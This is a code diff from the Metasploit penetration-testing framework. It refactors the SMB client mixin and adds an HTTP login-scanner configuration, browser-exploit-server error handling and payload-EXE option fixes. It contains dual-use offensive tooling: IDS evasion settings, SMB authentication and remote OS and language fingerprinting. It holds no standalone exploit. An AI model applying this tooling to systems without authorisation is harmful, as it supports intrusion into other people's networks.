@ -75,6 +75,12 @@ require 'msf/http/jboss'
# Kerberos Support
require 'msf/kerberos/client'
# Java RMI Support
require 'msf/java/rmi/client'
# Java JMX Support
require 'msf/java/jmx'
# Drivers
require 'msf/core/exploit_driver'

View File

@ -43,6 +43,13 @@ class DataStore < Hash
super(find_key_case(k), v)
end
#
# Case-insensitive wrapper around delete
#
def delete(k)
super(find_key_case(k))
end
#
# Updates a value in the datastore with the specified name, k, to the

View File

@ -48,7 +48,7 @@ module Exploit::EXE
end
def generate_payload_exe(opts = {})
return get_custom_exe if datastore.include? 'EXE::Custom'
return get_custom_exe unless datastore['EXE::Custom'].to_s.strip.empty?
return get_eicar_exe if datastore['EXE::EICAR']
exe_init_options(opts)
@ -73,7 +73,7 @@ module Exploit::EXE
end
def generate_payload_exe_service(opts = {})
return get_custom_exe if datastore.include? 'EXE::Custom'
return get_custom_exe unless datastore['EXE::Custom'].to_s.strip.empty?
return get_eicar_exe if datastore['EXE::EICAR']
exe_init_options(opts)
@ -96,7 +96,7 @@ module Exploit::EXE
end
def generate_payload_dll(opts = {})
return get_custom_exe if datastore.include? 'EXE::Custom'
return get_custom_exe unless datastore['EXE::Custom'].to_s.strip.empty?
return get_eicar_exe if datastore['EXE::EICAR']
exe_init_options(opts)
@ -125,7 +125,7 @@ module Exploit::EXE
end
def generate_payload_msi(opts = {})
return get_custom_exe(datastore['MSI::Custom']) if datastore.include? 'MSI::Custom'
return get_custom_exe(datastore['MSI::Custom']) unless datastore['MSI::Custom'].to_s.strip.empty?
return get_eicar_exe if datastore['MSI::EICAR']
exe = generate_payload_exe(opts)

View File

@ -210,6 +210,54 @@ module Exploit::Remote::HttpClient
return nclient
end
#
# Converts datastore options into configuration parameters for the
# Metasploit::LoginScanner::Http class. Any parameters passed into
# this method will override the defaults.
#
def configure_http_login_scanner(conf)
{
host: rhost,
port: rport,
ssl: ssl,
ssl_version: ssl_version,
proxies: datastore['PROXIES'],
framework: framework,
framework_module: self,
vhost: vhost,
user_agent: datastore['UserAgent'],
evade_uri_encode_mode: datastore['HTTP::uri_encode_mode'],
evade_uri_full_url: datastore['HTTP::uri_full_url'],
evade_pad_method_uri_count: datastore['HTTP::pad_method_uri_count'],
evade_pad_uri_version_count: datastore['HTTP::pad_uri_version_count'],
evade_pad_method_uri_type: datastore['HTTP::pad_method_uri_type'],
evade_pad_uri_version_type: datastore['HTTP::pad_uri_version_type'],
evade_method_random_valid: datastore['HTTP::method_random_valid'],
evade_method_random_invalid: datastore['HTTP::method_random_invalid'],
evade_method_random_case: datastore['HTTP::method_random_case'],
evade_uri_dir_self_reference: datastore['HTTP::uri_dir_self_reference'],
evade_uri_dir_fake_relative: datastore['HTTP::uri_dir_fake_relative'],
evade_uri_use_backslashes: datastore['HTTP::uri_use_backslashes'],
evade_pad_fake_headers: datastore['HTTP::pad_fake_headers'],
evade_pad_fake_headers_count: datastore['HTTP::pad_fake_headers_count'],
evade_pad_get_params: datastore['HTTP::pad_get_params'],
evade_pad_get_params_count: datastore['HTTP::pad_get_params_count'],
evade_pad_post_params: datastore['HTTP::pad_post_params'],
evade_pad_post_params_count: datastore['HTTP::pad_post_params_count'],
evade_uri_fake_end: datastore['HTTP::uri_fake_end'],
evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'],
evade_header_folding: datastore['HTTP::header_folding'],
ntlm_use_ntlmv2_session: datastore['NTLM::UseNTLM2_session'],
ntlm_use_ntlmv2: datastore['NTLM::UseNTLMv2'],
ntlm_send_lm: datastore['NTLM::SendLM'],
ntlm_send_ntlm: datastore['NTLM::SendNTLM'],
ntlm_send_spn: datastore['NTLM::SendSPN'],
ntlm_use_lm_key: datastore['NTLM::UseLMKey'],
ntlm_domain: datastore['DOMAIN'],
digest_auth_iis: datastore['DigestAuthIIS']
}.merge(conf)
end
#
# Passes the client connection down to the handler to see if it's of any
# use.

View File

@ -28,9 +28,11 @@ require 'msf/core/exploit/ipv6'
require 'msf/core/exploit/dhcp'
require 'msf/core/exploit/ntlm'
require 'msf/core/exploit/dcerpc'
require 'msf/core/exploit/smb'
require 'msf/core/exploit/smb/authenticated'
require 'msf/core/exploit/smb/psexec'
require 'msf/core/exploit/smb/client'
require 'msf/core/exploit/smb/client/authenticated'
require 'msf/core/exploit/smb/client/psexec'
require 'msf/core/exploit/smb/server'
require 'msf/core/exploit/smb/server/share'
require 'msf/core/exploit/ftp'
require 'msf/core/exploit/tftp'
require 'msf/core/exploit/telnet'

View File

@ -52,7 +52,7 @@ module Exploit::NTLM
# SendSPN will send an avp of type 9/SPN in the ntlmv2 client blob, this is mandatory on windows seven / 2008 r2 if
# Microsoft network server : Server SPN target name validation level is set to <Required from client> or we get an STATUS_ACCESS_DENIED
#
OptBool.new('NTLM::SendSPN', [ true, 'Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required', true]),
OptBool.new('NTLM::SendSPN', [ true, 'Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required', true]),
], Msf::Exploit::NTLM::Client)
end
end

View File

@ -20,6 +20,8 @@ require 'msf/core/exploit/jsobfu'
module Msf
module Exploit::Remote::BrowserExploitServer
class BESException < RuntimeError; end
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::JSObfu
@ -521,7 +523,13 @@ module Msf
try_set_target(profile)
bad_reqs = get_bad_requirements(profile)
if bad_reqs.empty?
method(:on_request_exploit).call(cli, request, profile)
begin
method(:on_request_exploit).call(cli, request, profile)
rescue BESException => e
elog("BESException: #{e.message}\n#{e.backtrace * "\n"}")
send_not_found(cli)
print_error("BESException: #{e.message}")
end
else
print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}. For more info: http://r-7.co/PVbcgx")
if bad_reqs.include?(:vuln_test)
@ -586,7 +594,15 @@ module Msf
platform = platform.gsub(/^Mac OS X$/, 'OSX')
platform = platform.gsub(/^Windows.*$/, 'Windows')
regenerate_payload(cli, platform, arch).encoded
p = regenerate_payload(cli, platform, arch)
unless p.arch.include?(arch)
err = "The payload arch (#{p.arch * ", "}) is incompatible with the #{arch} target. "
err << "Please check your payload setting."
raise BESException, err
end
return p.encoded
end
# @return [String] custom Javascript to check if a vulnerability is present

View File

@ -1,645 +0,0 @@
# -*- coding: binary -*-
require 'rex/proto/smb'
require 'rex/proto/ntlm'
require 'rex/proto/dcerpc'
require 'rex/encoder/ndr'
module Msf
require 'msf/core/exploit/smb_server'
###
#
# This mixin provides utility methods for interacting with a SMB/CIFS service on
# a remote machine. These methods may generally be useful in the context of
# exploitation. This mixin extends the Tcp exploit mixin. Only one SMB
# service can be accessed at a time using this class.
#
###
module Exploit::Remote::SMB
include Exploit::Remote::Tcp
include Exploit::Remote::NTLM::Client
SIMPLE = Rex::Proto::SMB::SimpleClient
XCEPT = Rex::Proto::SMB::Exceptions
CONST = Rex::Proto::SMB::Constants
# Alias over the Rex DCERPC protocol modules
DCERPCPacket = Rex::Proto::DCERPC::Packet
DCERPCClient = Rex::Proto::DCERPC::Client
DCERPCResponse = Rex::Proto::DCERPC::Response
DCERPCUUID = Rex::Proto::DCERPC::UUID
NDR = Rex::Encoder::NDR
def initialize(info = {})
super
register_evasion_options(
[
OptBool.new('SMB::pipe_evasion', [ true, 'Enable segmented read/writes for SMB Pipes', false]),
OptInt.new('SMB::pipe_write_min_size', [ true, 'Minimum buffer size for pipe writes', 1]),
OptInt.new('SMB::pipe_write_max_size', [ true, 'Maximum buffer size for pipe writes', 1024]),
OptInt.new('SMB::pipe_read_min_size', [ true, 'Minimum buffer size for pipe reads', 1]),
OptInt.new('SMB::pipe_read_max_size', [ true, 'Maximum buffer size for pipe reads', 1024]),
OptInt.new('SMB::pad_data_level', [ true, 'Place extra padding between headers and data (level 0-3)', 0]),
OptInt.new('SMB::pad_file_level', [ true, 'Obscure path names used in open/create (level 0-3)', 0]),
OptInt.new('SMB::obscure_trans_pipe_level', [ true, 'Obscure PIPE string in TransNamedPipe (level 0-3)', 0]),
], Msf::Exploit::Remote::SMB)
register_advanced_options(
[
OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]),
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),
OptString.new('SMBName', [ true, 'The NetBIOS hostname (required for port 139 connections)', '*SMBSERVER']),
OptBool.new('SMB::VerifySignature', [ true, "Enforces client-side verification of server response signatures", false]),
OptInt.new('SMB::ChunkSize', [ true, 'The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing', 500]),
#
# Control the identified operating system of the client
#
OptString.new('SMB::Native_OS', [ true, 'The Native OS to send during authentication', 'Windows 2000 2195']),
OptString.new('SMB::Native_LM', [ true, 'The Native LM to send during authentication', 'Windows 2000 5.0']),
], Msf::Exploit::Remote::SMB)
register_options(
[
Opt::RHOST,
OptInt.new('RPORT', [ true, 'Set the SMB service port', 445])
], Msf::Exploit::Remote::SMB)
register_autofilter_ports([ 139, 445])
register_autofilter_services(%W{ netbios-ssn microsoft-ds })
end
# Override {Exploit::Remote::Tcp#connect} to setup an SMB connection
# and configure evasion options
#
# Also populates {#simple}.
#
# @param (see Exploit::Remote::Tcp#connect)
# @return (see Exploit::Remote::Tcp#connect)
def connect(global=true)
disconnect() if global
s = super(global)
self.sock = s if global
# Disable direct SMB when SMBDirect has not been set
# and the destination port is configured as 139
direct = smb_direct
if(datastore.default?('SMBDirect') and rport.to_i == 139)
direct = false
end
c = SIMPLE.new(s, direct)
# setup pipe evasion foo
if datastore['SMB::pipe_evasion']
# XXX - insert code to change the instance of the read/write functions to do segmentation
end
if (datastore['SMB::pad_data_level'])
c.client.evasion_opts['pad_data'] = datastore['SMB::pad_data_level']
end
if (datastore['SMB::pad_file_level'])
c.client.evasion_opts['pad_file'] = datastore['SMB::pad_file_level']
end
if (datastore['SMB::obscure_trans_pipe_level'])
c.client.evasion_opts['obscure_trans_pipe'] = datastore['SMB::obscure_trans_pipe_level']
end
self.simple = c if global
c
end
# Convert a standard ASCII string to 16-bit Unicode
def unicode(str)
Rex::Text.to_unicode(str)
end
# Establishes an SMB session over the default socket and connects to
# the IPC$ share.
#
# You should call {#connect} before calling this
#
# @return [void]
def smb_login
simple.login(
datastore['SMBName'],
datastore['SMBUser'],
datastore['SMBPass'],
datastore['SMBDomain'],
datastore['SMB::VerifySignature'],
datastore['NTLM::UseNTLMv2'],
datastore['NTLM::UseNTLM2_session'],
datastore['NTLM::SendLM'],
datastore['NTLM::UseLMKey'],
datastore['NTLM::SendNTLM'],
datastore['SMB::Native_OS'],
datastore['SMB::Native_LM'],
{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
)
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
end
# This method returns the native operating system of the peer
def smb_peer_os
self.simple.client.peer_native_os
end
# This method returns the native lanman version of the peer
def smb_peer_lm
self.simple.client.peer_native_lm
end
# This method opens a handle to an IPC pipe
def smb_create(pipe)
self.simple.create_pipe(pipe)
end
#the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations)
#cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED
#fd.chunk_size = 500 is better
def smb_open(path, perm)
self.simple.open(path, perm, datastore['SMB::ChunkSize'])
end
def smb_hostname
datastore['SMBName'] || '*SMBSERVER'
end
def smb_direct
datastore['SMBDirect']
end
def domain
datastore['SMBDomain']
end
def smbhost
if domain == "."
"#{rhost}:#{rport}"
else
"#{rhost}:#{rport}|#{domain}"
end
end
# If the username contains a / slash, then
# split it as a domain/username. NOTE: this
# is predicated on forward slashes, and not
# Microsoft's backwards slash convention.
def domain_username_split(user)
return user if(user.nil? || user.empty?)
if !user[/\//] # Only /, not \!
return [nil,user]
else
return user.split("/",2)
end
end
def splitname(uname)
if datastore["PRESERVE_DOMAINS"]
d,u = domain_username_split(uname)
return u
else
return uname
end
end
# Whether a remote file exists
#
# @param file [String] Path to a file to remove, relative to the
# most-recently connected share
# @raise [Rex::Proto::SMB::Exceptions::ErrorCode]
def smb_file_exist?(file)
begin
fd = simple.open(file, 'ro')
rescue XCEPT::ErrorCode => e
# If attempting to open the file results in a "*_NOT_FOUND" error,
# then we can be sure the file is not there.
#
# Copy-pasted from smb/exceptions.rb to avoid the gymnastics
# required to pull them out of a giant inverted hash
#
# 0xC0000034 => "STATUS_OBJECT_NAME_NOT_FOUND",
# 0xC000003A => "STATUS_OBJECT_PATH_NOT_FOUND",
# 0xC0000225 => "STATUS_NOT_FOUND",
error_is_not_found = [ 0xC0000034, 0xC000003A, 0xC0000225 ].include?(e.error_code)
# If the server returns some other error, then there was a
# permissions problem or some other difficulty that we can't
# really account for and hope the caller can deal with it.
raise e unless error_is_not_found
found = !error_is_not_found
else
# There was no exception, so we know the file is openable
fd.close
found = true
end
found
end
# Remove remote file
#
# @param file (see #smb_file_exist?)
# @return [void]
def smb_file_rm(file)
fd = smb_open(file, 'ro')
fd.delete
end
#
# Fingerprinting methods
#
# Calls the EnumPrinters() function of the spooler service
def smb_enumprinters(flags, name, level, blen)
stub =
NDR.long(flags) +
(name ? NDR.uwstring(name) : NDR.long(0)) +
NDR.long(level) +
NDR.long(rand(0xffffffff)+1)+
NDR.long(blen) +
"\x00" * blen +
NDR.long(blen)
handle = dcerpc_handle(
'12345678-1234-abcd-ef00-0123456789ab', '1.0',
'ncacn_np', ["\\SPOOLSS"]
)
begin
dcerpc_bind(handle)
dcerpc.call(0x00, stub)
return dcerpc.last_response.stub_data
rescue ::Interrupt
raise $!
rescue ::Exception => e
return nil
end
end
# This method dumps the print provider strings from the spooler
def smb_enumprintproviders
resp = smb_enumprinters(8, nil, 1, 0)
return nil if not resp
rptr, tmp, blen = resp.unpack("V*")
resp = smb_enumprinters(8, nil, 1, blen)
return nil if not resp
bcnt,pcnt,stat = resp[-12, 12].unpack("VVV")
return nil if stat != 0
return nil if pcnt == 0
return nil if bcnt > blen
return nil if pcnt < 3
#
# The correct way, which leads to invalid offsets :-(
#
#providers = []
#
#0.upto(pcnt-1) do |i|
# flags,desc_o,name_o,comm_o = resp[8 + (i*16), 16].unpack("VVVV")
#
# #desc = read_unicode(resp,8+desc_o).gsub("\x00", '')
# #name = read_unicode(resp,8+name_o).gsub("\x00", '')
# #comm = read_unicode(resp,8+comm_o).gsub("\x00", '')
# #providers << [flags,desc,name,comm]
#end
#
#providers
return resp
end
# This method performs an extensive set of fingerprinting operations
def smb_fingerprint
fprint = {}
# Connect to the server if needed
if not self.simple
connect()
smb_login()
end
fprint['native_os'] = smb_peer_os()
fprint['native_lm'] = smb_peer_lm()
# Leverage Recog for SMB native OS fingerprinting
fp_match = Recog::Nizer.match('smb.native_os', fprint['native_os']) || { }
os = fp_match['os.product'] || 'Unknown'
sp = fp_match['os.version'] || ''
# Metasploit prefers 'Windows 2003' vs 'Windows Server 2003'
if os =~ /^Windows Server/
os = os.sub(/^Windows Server/, 'Windows')
end
if fp_match['os.edition']
fprint['edition'] = fp_match['os.edition']
end
if fp_match['os.build']
fprint['build'] = fp_match['os.build']
end
if sp == ''
sp = smb_fingerprint_windows_sp(os)
end
lang = smb_fingerprint_windows_lang
fprint['os'] = os
fprint['sp'] = sp
fprint['lang'] = lang
fprint
end
#
# Determine the service pack level of a Windows system via SMB probes
#
def smb_fingerprint_windows_sp(os)
sp = ''
if (os == 'Windows XP')
# SRVSVC was blocked in SP2
begin
smb_create("\\SRVSVC")
sp = 'Service Pack 0 / 1'
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
if (e.error_code == 0xc0000022)
sp = 'Service Pack 2+'
end
end
end
if (os == 'Windows 2000' and sp.length == 0)
# LLSRPC was blocked in a post-SP4 update
begin
smb_create("\\LLSRPC")
sp = 'Service Pack 0 - 4'
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
if (e.error_code == 0xc0000022)
sp = 'Service Pack 4 with MS05-010+'
end
end
end
#
# Perform granular XP SP checks if LSARPC is exposed
#
if (os == 'Windows XP')
#
# Service Pack 2 added a range(0,64000) to opnum 0x22 in SRVSVC
# Credit to spoonm for first use of unbounded [out] buffers
#
handle = dcerpc_handle(
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
'ncacn_np', ["\\BROWSER"]
)
begin
dcerpc_bind(handle)
stub =
NDR.uwstring(Rex::Text.rand_text_alpha(rand(10)+1)) +
NDR.wstring(Rex::Text.rand_text_alpha(rand(10)+1)) +
NDR.long(64001) +
NDR.long(0) +
NDR.long(0)
dcerpc.call(0x22, stub)
sp = "Service Pack 0 / 1"
rescue ::Interrupt
raise $!
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
rescue ::Rex::Proto::SMB::Exceptions::ReadPacket
rescue ::Rex::Proto::DCERPC::Exceptions::Fault
sp = "Service Pack 2+"
rescue ::Exception
end
#
# Service Pack 3 fixed information leaks via [unique][out] pointers
# Call SRVSVC::NetRemoteTOD() to return [out] [ref] [unique]
# Credit:
# Pointer leak is well known, but Immunity also covered in a paper
# Silent fix of pointer leak in SP3 and detection method by Rhys Kidd
#
handle = dcerpc_handle(
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
'ncacn_np', ["\\BROWSER"]
)
begin
dcerpc_bind(handle)
stub = NDR.uwstring(Rex::Text.rand_text_alpha(rand(8)+1))
resp = dcerpc.call(0x1c, stub)
if(resp and resp[0,4] == "\x00\x00\x02\x00")
sp = "Service Pack 3"
else
if(resp and sp =~ /Service Pack 2\+/)
sp = "Service Pack 2"
end
end
rescue ::Interrupt
raise $!
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
rescue ::Rex::Proto::SMB::Exceptions::ReadPacket
rescue ::Exception
end
end
sp
end
#
# Determine the native language pack of a Windows system via SMB probes
#
def smb_fingerprint_windows_lang
#
# Remote language detection via Print Providers
# Credit: http://immunityinc.com/downloads/Remote_Language_Detection_in_Immunity_CANVAS.odt
#
lang = 'Unknown'
sigs =
{
'English' =>
[
Rex::Text.to_unicode('Windows NT Remote Printers'),
Rex::Text.to_unicode('LanMan Print Services')
],
'Spanish' =>
[
Rex::Text.to_unicode('Impresoras remotas Windows NT'),
Rex::Text.to_unicode('Impresoras remotas de Windows NT')
],
'Italian' =>
[
Rex::Text.to_unicode('Stampanti remote di Windows NT'),
Rex::Text.to_unicode('Servizi di stampa LanMan')
],
'French' =>
[
Rex::Text.to_unicode('Imprimantes distantes NT'),
Rex::Text.to_unicode('Imprimantes distantes pour Windows NT'),
Rex::Text.to_unicode("Services d'impression LanMan")
],
'German' =>
[
Rex::Text.to_unicode('Remotedrucker')
],
'Portuguese - Brazilian' =>
[
Rex::Text.to_unicode('Impr. remotas Windows NT'),
Rex::Text.to_unicode('Impressoras remotas do Windows NT')
],
'Portuguese' =>
[
Rex::Text.to_unicode('Imp. remotas do Windows NT')
],
'Hungarian' =>
[
Rex::Text.to_unicode("\x54\xe1\x76\x6f\x6c\x69\x20\x6e\x79\x6f\x6d\x74\x61\x74\xf3\x6b")
],
'Finnish' =>
[
Rex::Text.to_unicode("\x45\x74\xe4\x74\x75\x6c\x6f\x73\x74\x69\x6d\x65\x74")
],
'Dutch' =>
[
Rex::Text.to_unicode('Externe printers voor NT')
],
'Danish' =>
[
Rex::Text.to_unicode('Fjernprintere')
],
'Swedish' =>
[
Rex::Text.to_unicode("\x46\x6a\xe4\x72\x72\x73\x6b\x72\x69\x76\x61\x72\x65")
],
'Polish' =>
[
Rex::Text.to_unicode('Zdalne drukarki')
],
'Czech' =>
[
Rex::Text.to_unicode("\x56\x7a\x64\xe1\x6c\x65\x6e\xe9\x20\x74\x69\x73\x6b\xe1\x72\x6e\x79")
],
'Turkish' =>
[
"\x59\x00\x61\x00\x7a\x00\x31\x01\x63\x00\x31\x01\x6c\x00\x61\x00\x72\x00"
],
'Japanese' =>
[
"\xea\x30\xe2\x30\xfc\x30\xc8\x30\x20\x00\xd7\x30\xea\x30\xf3\x30\xbf\x30"
],
'Chinese - Traditional' =>
[
"\xdc\x8f\x0b\x7a\x53\x62\x70\x53\x3a\x67"
],
'Chinese - Traditional / Taiwan' =>
[
"\x60\x90\xef\x7a\x70\x53\x68\x88\x5f\x6a",
],
'Korean' =>
[
"\xd0\xc6\xa9\xac\x20\x00\x04\xd5\xb0\xb9\x30\xd1",
],
'Russian' =>
[
"\x1f\x04\x40\x04\x38\x04\x3d\x04\x42\x04\x35\x04\x40\x04\x4b\x04\x20\x00\x43\x04\x34\x04\x30\x04\x3b\x04\x35\x04\x3d\x04\x3d\x04\x3e\x04\x33\x04\x3e\x04\x20\x00\x34\x04\x3e\x04\x41\x04\x42\x04\x43\x04\x3f\x04\x30\x04",
],
}
begin
prov = smb_enumprintproviders()
if(prov)
sigs.each_key do |k|
sigs[k].each do |s|
if(prov.index(s))
lang = k
break
end
break if lang != 'Unknown'
end
break if lang != 'Unknown'
end
if(lang == 'Unknown')
@fpcache ||= {}
mhash = ::Digest::MD5.hexdigest(prov[4,prov.length-4])
if(not @fpcache[mhash])
buff = "\n"
buff << "*** NEW FINGERPRINT: PLEASE SEND TO [ msfdev[at]metasploit.com ]\n"
buff << " VERS: $Revision$\n"
buff << " HOST: #{rhost}\n"
buff << " OS: #{os}\n"
buff << " SP: #{sp}\n"
prov.unpack("H*")[0].scan(/.{64}|.*/).each do |line|
next if line.length == 0
buff << " FP: #{line}\n"
end
prov.split(/\x00\x00+/n).each do |line|
line.gsub!("\x00",'')
line.strip!
next if line.length < 6
buff << " TXT: #{line}\n"
end
buff << "*** END FINGERPRINT\n"
print_line(buff)
@fpcache[mhash] = true
end
end
end
rescue ::Interrupt
raise $!
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
end
lang
end
# @return [Rex::Proto::SMB::SimpleClient]
attr_accessor :simple
end
end

View File

@ -0,0 +1,636 @@
# -*- coding: binary -*-
require 'rex/proto/smb'
require 'rex/proto/ntlm'
require 'rex/proto/dcerpc'
require 'rex/encoder/ndr'
module Msf
module Exploit::Remote::SMB
# This mixin provides utility methods for interacting with a SMB/CIFS service on
# a remote machine. These methods may generally be useful in the context of
# exploitation. This mixin extends the Tcp exploit mixin. Only one SMB
# service can be accessed at a time using this class.
module Client
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::NTLM::Client
SIMPLE = Rex::Proto::SMB::SimpleClient
XCEPT = Rex::Proto::SMB::Exceptions
CONST = Rex::Proto::SMB::Constants
# Alias over the Rex DCERPC protocol modules
DCERPCPacket = Rex::Proto::DCERPC::Packet
DCERPCClient = Rex::Proto::DCERPC::Client
DCERPCResponse = Rex::Proto::DCERPC::Response
DCERPCUUID = Rex::Proto::DCERPC::UUID
NDR = Rex::Encoder::NDR
def initialize(info = {})
super
register_evasion_options(
[
OptBool.new('SMB::pipe_evasion', [ true, 'Enable segmented read/writes for SMB Pipes', false]),
OptInt.new('SMB::pipe_write_min_size', [ true, 'Minimum buffer size for pipe writes', 1]),
OptInt.new('SMB::pipe_write_max_size', [ true, 'Maximum buffer size for pipe writes', 1024]),
OptInt.new('SMB::pipe_read_min_size', [ true, 'Minimum buffer size for pipe reads', 1]),
OptInt.new('SMB::pipe_read_max_size', [ true, 'Maximum buffer size for pipe reads', 1024]),
OptInt.new('SMB::pad_data_level', [ true, 'Place extra padding between headers and data (level 0-3)', 0]),
OptInt.new('SMB::pad_file_level', [ true, 'Obscure path names used in open/create (level 0-3)', 0]),
OptInt.new('SMB::obscure_trans_pipe_level', [ true, 'Obscure PIPE string in TransNamedPipe (level 0-3)', 0]),
], Msf::Exploit::Remote::SMB::Client)
register_advanced_options(
[
OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]),
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),
OptString.new('SMBName', [ true, 'The NetBIOS hostname (required for port 139 connections)', '*SMBSERVER']),
OptBool.new('SMB::VerifySignature', [ true, "Enforces client-side verification of server response signatures", false]),
OptInt.new('SMB::ChunkSize', [ true, 'The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing', 500]),
#
# Control the identified operating system of the client
#
OptString.new('SMB::Native_OS', [ true, 'The Native OS to send during authentication', 'Windows 2000 2195']),
OptString.new('SMB::Native_LM', [ true, 'The Native LM to send during authentication', 'Windows 2000 5.0']),
], Msf::Exploit::Remote::SMB::Client)
register_options(
[
Opt::RHOST,
OptInt.new('RPORT', [ true, 'Set the SMB service port', 445])
], Msf::Exploit::Remote::SMB::Client)
register_autofilter_ports([ 139, 445])
register_autofilter_services(%W{ netbios-ssn microsoft-ds })
end
# Override {Exploit::Remote::Tcp#connect} to setup an SMB connection
# and configure evasion options
#
# Also populates {#simple}.
#
# @param (see Exploit::Remote::Tcp#connect)
# @return (see Exploit::Remote::Tcp#connect)
def connect(global=true)
disconnect() if global
s = super(global)
self.sock = s if global
# Disable direct SMB when SMBDirect has not been set
# and the destination port is configured as 139
direct = smb_direct
if(datastore.default?('SMBDirect') and rport.to_i == 139)
direct = false
end
c = SIMPLE.new(s, direct)
# setup pipe evasion foo
if datastore['SMB::pipe_evasion']
# XXX - insert code to change the instance of the read/write functions to do segmentation
end
if (datastore['SMB::pad_data_level'])
c.client.evasion_opts['pad_data'] = datastore['SMB::pad_data_level']
end
if (datastore['SMB::pad_file_level'])
c.client.evasion_opts['pad_file'] = datastore['SMB::pad_file_level']
end
if (datastore['SMB::obscure_trans_pipe_level'])
c.client.evasion_opts['obscure_trans_pipe'] = datastore['SMB::obscure_trans_pipe_level']
end
self.simple = c if global
c
end
# Convert a standard ASCII string to 16-bit Unicode
def unicode(str)
Rex::Text.to_unicode(str)
end
# Establishes an SMB session over the default socket and connects to
# the IPC$ share.
#
# You should call {#connect} before calling this
#
# @return [void]
def smb_login
simple.login(
datastore['SMBName'],
datastore['SMBUser'],
datastore['SMBPass'],
datastore['SMBDomain'],
datastore['SMB::VerifySignature'],
datastore['NTLM::UseNTLMv2'],
datastore['NTLM::UseNTLM2_session'],
datastore['NTLM::SendLM'],
datastore['NTLM::UseLMKey'],
datastore['NTLM::SendNTLM'],
datastore['SMB::Native_OS'],
datastore['SMB::Native_LM'],
{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
)
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
end
# This method returns the native operating system of the peer
def smb_peer_os
self.simple.client.peer_native_os
end
# This method returns the native lanman version of the peer
def smb_peer_lm
self.simple.client.peer_native_lm
end
# This method opens a handle to an IPC pipe
def smb_create(pipe)
self.simple.create_pipe(pipe)
end
#the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations)
#cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED
#fd.chunk_size = 500 is better
def smb_open(path, perm)
self.simple.open(path, perm, datastore['SMB::ChunkSize'])
end
def smb_hostname
datastore['SMBName'] || '*SMBSERVER'
end
def smb_direct
datastore['SMBDirect']
end
def domain
datastore['SMBDomain']
end
def smbhost
if domain == "."
"#{rhost}:#{rport}"
else
"#{rhost}:#{rport}|#{domain}"
end
end
# If the username contains a / slash, then
# split it as a domain/username. NOTE: this
# is predicated on forward slashes, and not
# Microsoft's backwards slash convention.
def domain_username_split(user)
return user if(user.nil? || user.empty?)
if !user[/\//] # Only /, not \!
return [nil,user]
else
return user.split("/",2)
end
end
def splitname(uname)
if datastore["PRESERVE_DOMAINS"]
d,u = domain_username_split(uname)
return u
else
return uname
end
end
# Whether a remote file exists
#
# @param file [String] Path to a file to remove, relative to the
# most-recently connected share
# @raise [Rex::Proto::SMB::Exceptions::ErrorCode]
def smb_file_exist?(file)
begin
fd = simple.open(file, 'ro')
rescue XCEPT::ErrorCode => e
# If attempting to open the file results in a "*_NOT_FOUND" error,
# then we can be sure the file is not there.
#
# Copy-pasted from smb/exceptions.rb to avoid the gymnastics
# required to pull them out of a giant inverted hash
#
# 0xC0000034 => "STATUS_OBJECT_NAME_NOT_FOUND",
# 0xC000003A => "STATUS_OBJECT_PATH_NOT_FOUND",
# 0xC0000225 => "STATUS_NOT_FOUND",
error_is_not_found = [ 0xC0000034, 0xC000003A, 0xC0000225 ].include?(e.error_code)
# If the server returns some other error, then there was a
# permissions problem or some other difficulty that we can't
# really account for and hope the caller can deal with it.
raise e unless error_is_not_found
found = !error_is_not_found
else
# There was no exception, so we know the file is openable
fd.close
found = true
end
found
end
# Remove remote file
#
# @param file (see #smb_file_exist?)
# @return [void]
def smb_file_rm(file)
fd = smb_open(file, 'ro')
fd.delete
end
#
# Fingerprinting methods
#
# Calls the EnumPrinters() function of the spooler service
def smb_enumprinters(flags, name, level, blen)
stub =
NDR.long(flags) +
(name ? NDR.uwstring(name) : NDR.long(0)) +
NDR.long(level) +
NDR.long(rand(0xffffffff)+1)+
NDR.long(blen) +
"\x00" * blen +
NDR.long(blen)
handle = dcerpc_handle(
'12345678-1234-abcd-ef00-0123456789ab', '1.0',
'ncacn_np', ["\\SPOOLSS"]
)
begin
dcerpc_bind(handle)
dcerpc.call(0x00, stub)
return dcerpc.last_response.stub_data
rescue ::Interrupt
raise $!
rescue ::Exception => e
return nil
end
end
# This method dumps the print provider strings from the spooler
def smb_enumprintproviders
resp = smb_enumprinters(8, nil, 1, 0)
return nil if not resp
rptr, tmp, blen = resp.unpack("V*")
resp = smb_enumprinters(8, nil, 1, blen)
return nil if not resp
bcnt,pcnt,stat = resp[-12, 12].unpack("VVV")
return nil if stat != 0
